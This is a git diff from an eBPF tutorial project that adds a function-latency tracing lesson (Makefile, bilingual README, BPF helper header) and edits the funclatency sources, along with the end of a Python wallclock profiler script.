f.write("-" * 40 + "\n") + f.write(f"• On-CPU time = samples / sampling_frequency ({self.freq} Hz)\n") + f.write(f"• Off-CPU time = blocking_time_μs / 1,000,000\n") + f.write(f"• Total time per thread = on-CPU + off-CPU time\n") + f.write(f"• Wall clock coverage shows how much of the profiling period was active\n") + f.write(f"• Low coverage may indicate idle threads or missed events\n") + f.write(f"• High coverage (>100%) may indicate overlapping measurements or high activity\n") + + print(f"Thread analysis saved to: {summary_file}") + + def calculate_thread_times(self, oncpu_data, offcpu_data): + """Calculate actual wall clock times from profiling data""" + # Calculate on-CPU time from samples + oncpu_samples = 0 + for line in oncpu_data: + parts = line.rsplit(' ', 1) + if len(parts) == 2: + try: + count = int(parts[1]) + oncpu_samples += count + except ValueError: + continue + + # Calculate off-CPU time from microseconds + offcpu_us = 0 + for line in offcpu_data: + parts = line.rsplit(' ', 1) + if len(parts) == 2: + try: + time_us = int(parts[1]) + offcpu_us += time_us + except ValueError: + continue + + # Convert to wall clock times + oncpu_time_sec = oncpu_samples / self.freq if self.freq > 0 else 0 + offcpu_time_sec = offcpu_us / 1_000_000 + total_time_sec = oncpu_time_sec + offcpu_time_sec + + return { + 'oncpu_samples': oncpu_samples, + 'oncpu_time_sec': oncpu_time_sec, + 'offcpu_us': offcpu_us, + 'offcpu_time_sec': offcpu_time_sec, + 'total_time_sec': total_time_sec, + 'wall_clock_coverage_pct': (total_time_sec / self.duration * 100) if self.duration > 0 else 0 + } + + def generate_single_thread_analysis_file(self, output_prefix, single_thread_times): + """Generate single thread analysis file""" + analysis_file = f"{output_prefix}_single_thread_analysis.txt" + + with open(analysis_file, 'w') as f: + f.write("Single-Thread Analysis Report\n") + f.write("="*50 + "\n\n") + f.write(f"Process ID: {self.pid}\n") + f.write(f"Profiling duration: {self.duration} seconds\n") + f.write(f"Sampling frequency: {self.freq} Hz\n\n") + + # Time analysis + f.write("Time Analysis:\n") + f.write("-" * 40 + "\n") + f.write(f"On-CPU time: {single_thread_times['oncpu_time_sec']:.3f}s\n") + f.write(f"Off-CPU time: {single_thread_times['offcpu_time_sec']:.3f}s\n") + f.write(f"Total measured time: {single_thread_times['total_time_sec']:.3f}s\n") + f.write(f"Wall clock coverage: {single_thread_times['wall_clock_coverage_pct']:.1f}% of {self.duration}s profiling duration\n") + + if single_thread_times['wall_clock_coverage_pct'] < 50: + f.write("⚠️ Low coverage - thread may be mostly idle or data collection incomplete\n") + elif single_thread_times['wall_clock_coverage_pct'] > 150: + f.write("⚠️ High coverage - possible overlap or measurement anomaly\n") + else: + f.write("✓ Coverage appears reasonable for active thread\n") + + f.write(f"\nTime Verification Notes:\n") + f.write("-" * 40 + "\n") + f.write(f"• On-CPU time = samples / sampling_frequency ({self.freq} Hz)\n") + f.write(f"• Off-CPU time = blocking_time_μs / 1,000,000\n") + f.write(f"• Total time = on-CPU + off-CPU time\n") + f.write(f"• Wall clock coverage shows how much of the profiling period was active\n") + f.write(f"• Coverage values depend on thread activity and system load\n") + + print(f"Single thread analysis saved to: {analysis_file}") + +def main(): + parser = argparse.ArgumentParser( + description="Combined On-CPU and Off-CPU Profiler", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + # Profile PID 1234 for 30 seconds (default) + python3 wallclock_profiler.py 1234 + + # Profile for 60 seconds with custom sampling frequency + python3 wallclock_profiler.py 1234 -d 60 -f 99 + + # Use custom output prefix for generated files + python3 wallclock_profiler.py 1234 -o myapp_profile -m 5000 + + # Build and run test program first: + gcc -o test_program test_program.c + ./test_program & + python3 wallclock_profiler.py $! + """ + ) + + parser.add_argument("pid", type=int, help="Process ID to profile") + parser.add_argument("-d", "--duration", type=int, default=30, + help="Duration to profile in seconds (default: 30)") + parser.add_argument("-f", "--frequency", type=int, default=49, + help="On-CPU sampling frequency in Hz (default: 49)") + parser.add_argument("-m", "--min-block-us", type=int, default=1000, + help="Minimum off-CPU block time in microseconds (default: 1000)") + parser.add_argument("-o", "--output", type=str, + help="Output file prefix for generated files (default: combined_profile_pid_)") + + args = parser.parse_args() + + # Check if running as root + if os.geteuid() != 0: + print("Warning: This script typically requires root privileges to access BPF features", + file=sys.stderr) + + # Check if PID exists + try: + os.kill(args.pid, 0) + except OSError: + print(f"Error: Process {args.pid} does not exist", file=sys.stderr) + sys.exit(1) + + try: + profiler = CombinedProfiler( + pid=args.pid, + duration=args.duration, + freq=args.frequency, + min_block_us=args.min_block_us + ) + + profiler.run_profiling() + folded_file, svg_file = profiler.generate_flamegraph_data(args.output) + + print(f"\n" + "="*60) + print("PROFILING COMPLETE") + print("="*60) + if folded_file: + print(f"📊 Folded data: {folded_file}") + if svg_file: + print(f"🔥 Flamegraph: {svg_file}") + print(f" Open {svg_file} in a web browser to view the interactive flamegraph") + else: + print("⚠️ SVG flamegraph generation failed") + if folded_file: + print(f" You can manually generate it with:") + print(f" ./FlameGraph/flamegraph.pl {folded_file} > flamegraph.svg") + + print("\n📝 Interpretation guide:") + print(" • Red frames show CPU-intensive code paths (on-CPU) marked with _[c]") + print(" • Blue frames show blocking/waiting operations (off-CPU) marked with _[o]") + print(" • Wider sections represent more time spent in those functions") + print(" • Values are normalized to make on-CPU and off-CPU time comparable") + + except KeyboardInterrupt: + print("\nProfiling interrupted by user") + sys.exit(1) + except Exception as e: + print(f"Error: {e}", file=sys.stderr) + sys.exit(1) + +if __name__ == "__main__": + main() diff --git a/src/33-funclatency/.config b/src/33-funclatency/.config new file mode 100644 index 00000000..d50f199a --- /dev/null +++ b/src/33-funclatency/.config @@ -0,0 +1,2 @@ +level=Depth +type=Tracing diff --git a/src/32-http2/.gitignore b/src/33-funclatency/.gitignore similarity index 100% rename from src/32-http2/.gitignore rename to src/33-funclatency/.gitignore diff --git a/src/33-funclatency/Makefile b/src/33-funclatency/Makefile new file mode 100644 index 00000000..eac2df7a --- /dev/null +++ b/src/33-funclatency/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = funclatency + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/33-funclatency/README.md b/src/33-funclatency/README.md new file mode 100644 index 00000000..fc922cf4 --- /dev/null +++ b/src/33-funclatency/README.md @@ -0,0 +1,191 @@ +# Measuring Function Latency with eBPF + +In modern software systems, understanding the performance characteristics of functions—especially those critical to the operation of your application—is paramount. One key metric in performance analysis is **function latency**, which is the time taken by a function to execute from start to finish. By analyzing function latency, developers can identify bottlenecks, optimize performance, and ensure that their systems operate efficiently under various conditions. + +This blog post will dive into how to measure function latency using eBPF, an incredibly powerful tool for tracing and monitoring both kernel and user-space programs. + +> The complete source code: + +## What is eBPF? + +eBPF (Extended Berkeley Packet Filter) is a revolutionary technology that allows developers to write small programs that run in the Linux kernel. Originally designed for packet filtering, eBPF has evolved into a versatile tool for tracing, monitoring, and profiling system behavior. With eBPF, you can instrument almost any part of the Linux kernel or user-space programs to collect performance data, enforce security policies, or even debug systems in real time—all without the need to modify the kernel source code or restart the system. + +eBPF programs are executed in a sandboxed environment within the kernel, ensuring safety and stability. These programs can attach to various hooks within the kernel, such as system calls, network events, and tracepoints, or even user-space functions using uprobes (user-level probes). The data collected by eBPF programs can then be exported to user space for analysis, making it an invaluable tool for system observability. `Uprobe` in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). + +## Why is Function Latency Important? + +Function latency is a critical metric in performance analysis for both kernel and user-space applications. It provides insights into how long a particular function takes to execute, which is crucial for: + +- **Identifying Performance Bottlenecks**: High function latency may indicate inefficiencies or issues within the code that need optimization. +- **Ensuring System Responsiveness**: In real-time systems or latency-sensitive applications, understanding and minimizing function latency is essential to maintain responsiveness. +- **Profiling and Benchmarking**: By measuring the latency of various functions, developers can benchmark their systems and compare the performance of different implementations or configurations. +- **Debugging and Diagnostics**: When a system exhibits unexpected behavior or performance degradation, measuring function latency can help pinpoint the source of the problem. + +Both kernel-space (e.g., system calls, file operations) and user-space (e.g., library functions) functions can be profiled for latency, providing a comprehensive view of system performance. + +## eBPF Kernel Code for Function Latency + +Below is an eBPF program designed to measure the latency of a function by hooking into its entry and exit points. The program uses kprobes and kretprobes (for kernel functions) or uprobes and uretprobes (for user-space functions) to capture the start and end times of the function execution. + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (c) 2021 Google LLC. */ +#include "vmlinux.h" +#include +#include +#include +#include "funclatency.h" +#include "bits.bpf.h" + +const volatile pid_t targ_tgid = 0; +const volatile int units = 0; + +/* key: pid. value: start time */ +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_PIDS); + __type(key, u32); + __type(value, u64); +} starts SEC(".maps"); + +__u32 hist[MAX_SLOTS] = {}; + +static void entry(void) +{ + u64 id = bpf_get_current_pid_tgid(); + u32 tgid = id >> 32; + u32 pid = id; + u64 nsec; + + if (targ_tgid && targ_tgid != tgid) + return; + nsec = bpf_ktime_get_ns(); + bpf_map_update_elem(&starts, &pid, &nsec, BPF_ANY); +} + +SEC("kprobe/dummy_kprobe") +int BPF_KPROBE(dummy_kprobe) +{ + entry(); + return 0; +} + +static void exit(void) +{ + u64 *start; + u64 nsec = bpf_ktime_get_ns(); + u64 id = bpf_get_current_pid_tgid(); + u32 pid = id; + u64 slot, delta; + + start = bpf_map_lookup_elem(&starts, &pid); + if (!start) + return; + + delta = nsec - *start; + + switch (units) { + case USEC: + delta /= 1000; + break; + case MSEC: + delta /= 1000000; + break; + } + + slot = log2l(delta); + if (slot >= MAX_SLOTS) + slot = MAX_SLOTS - 1; + __sync_fetch_and_add(&hist[slot], 1); +} + +SEC("kretprobe/dummy_kretprobe") +int BPF_KRETPROBE(dummy_kretprobe) +{ + exit(); + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +### Explanation of the Code + +1. **Header Files**: The code begins by including the necessary headers like `vmlinux.h` (which provides kernel definitions) and `bpf_helpers.h` (which offers helper functions for eBPF programs). + +2. **Global Variables**: `targ_tgid` is a target process ID (or thread group ID), and `units` determines the time unit for latency measurement (e.g., microseconds or milliseconds). + +3. **BPF Maps**: A hash map (`starts`) is defined to store the start time of function executions for each process ID. Another array (`hist`) is used to store the latency distribution. + +4. **Entry Function**: The `entry()` function captures the current timestamp when the function is entered and stores it in the `starts` map keyed by the process ID. + +5. **Exit Function**: The `exit()` function calculates the latency by subtracting the stored start time from the current time. The result is then categorized into a histogram slot, which is incremented to record the occurrence of that latency range. + +6. **Probes**: The `kprobe` and `kretprobe` are used to attach to the entry and exit points of the function, respectively. These probes trigger the `entry()` and `exit()` functions to measure the latency. + +7. **License**: The program is licensed under GPL to ensure compliance with kernel licensing requirements. + +## Running the Function Latency Tool + +### User-Space Function Latency + +To trace the latency of a user-space function, such as the `read` function in the `libc` library, you can run the following command: + +```console +# ./funclatency /usr/lib/x86_64-linux-gnu/libc.so.6:read +tracing /usr/lib/x86_64-linux-gnu/libc.so.6:read... +tracing func read in /usr/lib/x86_64-linux-gnu/libc.so.6... +Tracing /usr/lib/x86_64-linux-gnu/libc.so.6:read. Hit Ctrl-C to exit +^C + nsec : count distribution + 0 -> 1 : 0 | | + 2 -> 3 : 0 | | + 4 -> 7 : 0 | | + 8 -> 15 : 0 | | + 16 -> 31 : 0 | | + 32 -> 63 : 0 | | + 128 -> 255 : 0 | | + 512 -> 1023 : 0 | | + 65536 -> 131071 : 651 |****************************************+| + 131072 -> 262143 : 107 |****** | + 262144 -> 524287 : 36 |** | + 524288 -> 1048575 : 8 | | + 8388608 -> 16777215 : 2 | | +Exiting trace of /usr/lib/x86_64-linux-gnu/libc.so.6:read +``` + +### Kernel-Space Function Latency + +To trace the latency of a kernel-space function, such as `vfs_read`, run the following command: + +```console +# sudo ./funclatency -u vfs_read +Tracing vfs_read. Hit Ctrl-C to exit +^C + usec : count distribution + 0 -> 1 : 0 | | + 8 -> 15 : 0 | | + 16 -> 31 : 3397 |****************************************| + 32 -> 63 : 2175 |************************* | + 64 -> 127 : 184 |** | + 1024 -> 2047 : 0 | | + 4096 -> 8191 : 5 | | + 2097152 -> 4194303 : 2 | | +Exiting trace of vfs_read +``` + +These commands trace the execution of the specified function, either in user-space or kernel-space, and print a histogram of the observed latencies, showing the distribution of function execution times. + +You can find the source code in + +## Conclusion + +Measuring function latency with eBPF offers deep insights into the performance of both user-space and kernel-space code. By understanding function latency, developers can identify performance bottlenecks, improve system responsiveness, and ensure the smooth operation of their applications. + +This + + blog post covered the basics of using eBPF to trace function latency, including an overview of the eBPF kernel code used to perform the tracing. The examples provided demonstrated how to run the tool to trace both user-space and kernel-space functions. + +For those interested in learning more about eBPF, including more advanced examples and tutorials, please visit our [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or our website [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/). + +If you are looking for a production-ready tool for function latency measurement, you might want to check out the full implementation available in the [BCC repository](https://github.com/iovisor/bcc/blob/master/libbpf-tools/funclatency.c). diff --git a/src/33-funclatency/README.zh.md b/src/33-funclatency/README.zh.md new file mode 100644 index 00000000..2fe33b1f --- /dev/null +++ b/src/33-funclatency/README.zh.md @@ -0,0 +1,189 @@ +# 使用 eBPF 测量函数延迟 + +在现代软件系统中,了解函数的性能特性,尤其是那些对应用程序运行至关重要的函数的性能特性,是至关重要的。性能分析中的一个关键指标是**函数延迟**,即函数从开始到完成所花费的时间。通过分析函数延迟,开发人员可以识别瓶颈、优化性能,并确保系统在各种条件下高效运行。 + +本文将深入探讨如何使用 eBPF 这一强大的工具来测量函数延迟,并展示如何在内核和用户空间中进行跟踪和监控。 + +## 什么是 eBPF? + +eBPF(扩展伯克利包过滤器)是一项革命性的技术,它允许开发人员编写小型程序在 Linux 内核中运行。eBPF 最初是为数据包过滤设计的,但它已经发展成为一个多功能工具,用于跟踪、监控和分析系统行为。通过 eBPF,您几乎可以对 Linux 内核或用户空间的任何部分进行插桩,从而收集性能数据、执行安全策略,甚至实时调试系统——这一切都无需修改内核源码或重启系统。 + +eBPF 程序在内核的沙盒环境中执行,确保了安全性和稳定性。这些程序可以附加到内核中的各种钩子上,如系统调用、网络事件和跟踪点,甚至可以通过 uprobes(用户级探针)附加到用户空间的函数。eBPF 程序收集的数据可以导出到用户空间进行分析,使其成为系统可观测性的重要工具。内核模式 eBPF 运行时的 `Uprobe` 可能会带来较大的性能开销。在这种情况下,你也可以考虑使用用户模式的 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。 + +## 为什么函数延迟很重要? + +函数延迟是内核和用户空间应用程序性能分析中的一个关键指标。它提供了关于特定函数执行时间的洞察,这对以下方面至关重要: + +- **识别性能瓶颈**:高函数延迟可能表明代码中存在需要优化的低效或问题。 +- **确保系统响应能力**:在实时系统或对延迟敏感的应用程序中,理解和最小化函数延迟对于保持响应能力至关重要。 +- **性能分析和基准测试**:通过测量各种函数的延迟,开发人员可以对系统进行基准测试,并比较不同实现或配置的性能。 +- **调试和诊断**:当系统表现出意外行为或性能下降时,测量函数延迟可以帮助定位问题的根源。 + +内核空间(如系统调用、文件操作)和用户空间(如库函数)中的函数都可以进行延迟分析,从而提供系统性能的全面视图。 + +## 用于函数延迟的 eBPF 内核代码 + +以下是一个设计用于测量函数延迟的 eBPF 程序,它通过挂钩函数的入口和出口点来实现。该程序使用 kprobes 和 kretprobes(用于内核函数)或 uprobes 和 uretprobes(用于用户空间函数)来捕获函数执行的开始和结束时间。 + +```c +// SPDX-License-Identifier: GPL-2.0 +/* Copyright (c) 2021 Google LLC. */ +#include "vmlinux.h" +#include +#include +#include +#include "funclatency.h" +#include "bits.bpf.h" + +const volatile pid_t targ_tgid = 0; +const volatile int units = 0; + +/* key: pid. value: start time */ +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_PIDS); + __type(key, u32); + __type(value, u64); +} starts SEC(".maps"); + +__u32 hist[MAX_SLOTS] = {}; + +static void entry(void) +{ + u64 id = bpf_get_current_pid_tgid(); + u32 tgid = id >> 32; + u32 pid = id; + u64 nsec; + + if (targ_tgid && targ_tgid != tgid) + return; + nsec = bpf_ktime_get_ns(); + bpf_map_update_elem(&starts, &pid, &nsec, BPF_ANY); +} + +SEC("kprobe/dummy_kprobe") +int BPF_KPROBE(dummy_kprobe) +{ + entry(); + return 0; +} + +static void exit(void) +{ + u64 *start; + u64 nsec = bpf_ktime_get_ns(); + u64 id = bpf_get_current_pid_tgid(); + u32 pid = id; + u64 slot, delta; + + start = bpf_map_lookup_elem(&starts, &pid); + if (!start) + return; + + delta = nsec - *start; + + switch (units) { + case USEC: + delta /= 1000; + break; + case MSEC: + delta /= 1000000; + break; + } + + slot = log2l(delta); + if (slot >= MAX_SLOTS) + slot = MAX_SLOTS - 1; + __sync_fetch_and_add(&hist[slot], 1); +} + +SEC("kretprobe/dummy_kretprobe") +int BPF_KRETPROBE(dummy_kretprobe) +{ + exit(); + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +### 代码解释 + +1. **头文件**:代码首先包含了必要的头文件,如 `vmlinux.h`(提供内核定义)和 `bpf_helpers.h`(提供 eBPF 程序的辅助函数)。 + +2. **全局变量**:`targ_tgid` 是目标进程 ID(或线程组 ID),`units` 确定延迟测量的时间单位(如微秒或毫秒)。 + +3. **BPF 映射**:定义了一个哈希映射(`starts`),用于存储每个进程 ID 的函数执行开始时间。另一个数组(`hist`)用于存储延迟分布。 + +4. **入口函数**:`entry()` 函数在函数进入时捕获当前时间戳,并将其存储在以进程 ID 为键的 `starts` 映射中。 + +5. **出口函数**:`exit()` 函数通过将存储的开始时间与当前时间相减来计算延迟。然后将结果分类到直方图槽中,并增加该槽的计数以记录该延迟范围的发生次数。 + +6. **探针**:`kprobe` 和 `kretprobe` 用于附加到函数的入口和出口点。这些探针触发 `entry()` 和 `exit()` 函数来测量延迟。 + +7. **许可证**:该程序根据 GPL 许可证发布,以确保符合内核的许可要求。 + +## 运行函数延迟工具 + +### 用户空间函数延迟 + +要跟踪用户空间函数(例如 `libc` 库中的 `read` 函数)的延迟,可以运行以下命令: + +```console +# ./funclatency /usr/lib/x86_64-linux-gnu/libc.so.6:read +tracing /usr/lib/x86_64-linux-gnu/libc.so.6:read... +tracing func read in /usr/lib/x86_64-linux-gnu/libc.so.6... +Tracing /usr/lib/x86_64-linux-gnu/libc.so.6:read. Hit Ctrl-C to exit +^C + nsec : count distribution + 0 -> 1 : 0 | | + 2 -> 3 : 0 | | + 4 -> 7 : 0 | | + 8 -> 15 : 0 | | + 16 -> 31 : 0 | | + 32 -> 63 : 0 | | + 128 -> 255 : 0 | | + 512 -> 1023 : 0 | | + 65536 -> 131071 : 651 |****************************************+| + 131072 -> 262143 : 107 |****** | + 262144 -> 524287 : 36 |** | + 524288 -> 1048575 : 8 | | + 8388608 -> 16777215 : 2 | | +Exiting trace of /usr/lib/x86_64-linux-gnu/libc.so.6:read +``` + +### 内核空间函数延迟 + +要跟踪内核空间函数(例如 `vfs_read`)的延迟,可以运行以下命令: + +```console +# sudo ./funclatency -u vfs_read +Tracing vfs_read. Hit Ctrl-C to exit +^C + usec : count distribution + 0 -> 1 : 0 | | + 8 -> 15 : 0 | | + 16 -> 31 : 3397 |****************************************| + 32 -> 63 : 2175 |************************* | + 64 -> 127 : 184 |** | + 1024 -> 2047 : 0 | | + 4096 -> 8191 : 5 | | + 2097152 -> + +4194303 : 2 | | +Exiting trace of vfs_read +``` + +这些命令会跟踪指定函数(无论是在用户空间还是内核空间)的执行,并打印出观察到的延迟的直方图,显示函数执行时间的分布。 + + + +## 结论 + +使用 eBPF 测量函数延迟可以深入了解用户空间和内核空间代码的性能。通过了解函数延迟,开发人员可以识别性能瓶颈、提高系统响应能力,并确保其应用程序的顺畅运行。 + +本文介绍了使用 eBPF 跟踪函数延迟的基本知识,包括实现该跟踪功能的 eBPF 内核代码概述。文中提供的示例展示了如何运行工具以跟踪用户空间和内核空间函数的延迟。 + +如果您有兴趣了解更多关于 eBPF 的知识,包括更多高级示例和教程,请访问我们的[教程代码库](https://github.com/eunomia-bpf/bpf-developer-tutorial)或我们的网站 [Eunomia](https://eunomia.dev/tutorials/)。 + +如果您正在寻找一个用于函数延迟测量的生产就绪工具,您可能想查看 BCC 仓库中的完整实现:[BCC 仓库](https://github.com/iovisor/bcc/blob/master/libbpf-tools/funclatency.c)。 diff --git a/src/33-funclatency/bits.bpf.h b/src/33-funclatency/bits.bpf.h new file mode 100644 index 00000000..a2b7bb98 --- /dev/null +++ b/src/33-funclatency/bits.bpf.h @@ -0,0 +1,31 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +#ifndef __BITS_BPF_H +#define __BITS_BPF_H + +#define READ_ONCE(x) (*(volatile typeof(x) *)&(x)) +#define WRITE_ONCE(x, val) ((*(volatile typeof(x) *)&(x)) = val) + +static __always_inline u64 log2(u32 v) +{ + u32 shift, r; + + r = (v > 0xFFFF) << 4; v >>= r; + shift = (v > 0xFF) << 3; v >>= shift; r |= shift; + shift = (v > 0xF) << 2; v >>= shift; r |= shift; + shift = (v > 0x3) << 1; v >>= shift; r |= shift; + r |= (v >> 1); + + return r; +} + +static __always_inline u64 log2l(u64 v) +{ + u32 hi = v >> 32; + + if (hi) + return log2(hi) + 32; + else + return log2(v); +} + +#endif /* __BITS_BPF_H */ diff --git a/src/32-http2/funclatency.bpf.c b/src/33-funclatency/funclatency.bpf.c similarity index 84% rename from src/32-http2/funclatency.bpf.c rename to src/33-funclatency/funclatency.bpf.c index 5e67572f..aed880ba 100644 --- a/src/32-http2/funclatency.bpf.c +++ b/src/33-funclatency/funclatency.bpf.c @@ -33,13 +33,6 @@ static void entry(void) bpf_map_update_elem(&starts, &pid, &nsec, BPF_ANY); } -SEC("fentry/dummy_fentry") -int BPF_PROG(dummy_fentry) -{ - entry(); - return 0; -} - SEC("kprobe/dummy_kprobe") int BPF_KPROBE(dummy_kprobe) { @@ -76,13 +69,6 @@ static void exit(void) __sync_fetch_and_add(&hist[slot], 1); } -SEC("fexit/dummy_fexit") -int BPF_PROG(dummy_fexit) -{ - exit(); - return 0; -} - SEC("kretprobe/dummy_kretprobe") int BPF_KRETPROBE(dummy_kretprobe) { diff --git a/src/32-http2/funclatency.c b/src/33-funclatency/funclatency.c similarity index 88% rename from src/32-http2/funclatency.c rename to src/33-funclatency/funclatency.c index 2c94e962..961d01ae 100644 --- a/src/32-http2/funclatency.c +++ b/src/33-funclatency/funclatency.c @@ -22,8 +22,6 @@ #include #include "funclatency.h" #include "funclatency.skel.h" -#include "trace_helpers.h" -#include "uprobe_helpers.h" #define warn(...) fprintf(stderr, __VA_ARGS__) @@ -63,7 +61,7 @@ static const char program_doc[] = " ./funclatency -m do_nanosleep # time do_nanosleep(), in milliseconds\n" " ./funclatency -u vfs_read # time vfs_read(), in microseconds\n" " ./funclatency -p 181 vfs_read # time process 181 only\n" - " ./funclatency -p 181 c:read # time the read() C library function\n" + " ./funclatency -p 181 /usr/lib/x86_64-linux-gnu/libc.so.6:read # time the read() C library function\n" " ./funclatency -p 181 :foo # time foo() from pid 181's userspace\n" " ./funclatency -i 2 -d 10 vfs_read # output every 2 seconds, for 10s\n" " ./funclatency -mTi 5 vfs_read # output every 5 seconds, with timestamps\n"; @@ -223,8 +221,6 @@ static int attach_kprobes(struct funclatency_bpf *obj) static int attach_uprobes(struct funclatency_bpf *obj) { char *binary, *function; - char bin_path[PATH_MAX]; - off_t func_off; int ret = -1; long err; @@ -234,6 +230,7 @@ static int attach_uprobes(struct funclatency_bpf *obj) warn("strdup failed"); return -1; } + printf("tracing %s...\n", binary); function = strchr(binary, ':'); if (!function) { @@ -242,20 +239,15 @@ static int attach_uprobes(struct funclatency_bpf *obj) } *function = '\0'; function++; + printf("tracing func %s in %s...\n", function, binary); - if (resolve_binary_path(binary, env.pid, bin_path, sizeof(bin_path))) - goto out_binary; - - func_off = get_elf_func_offset(bin_path, function); - if (func_off < 0) - 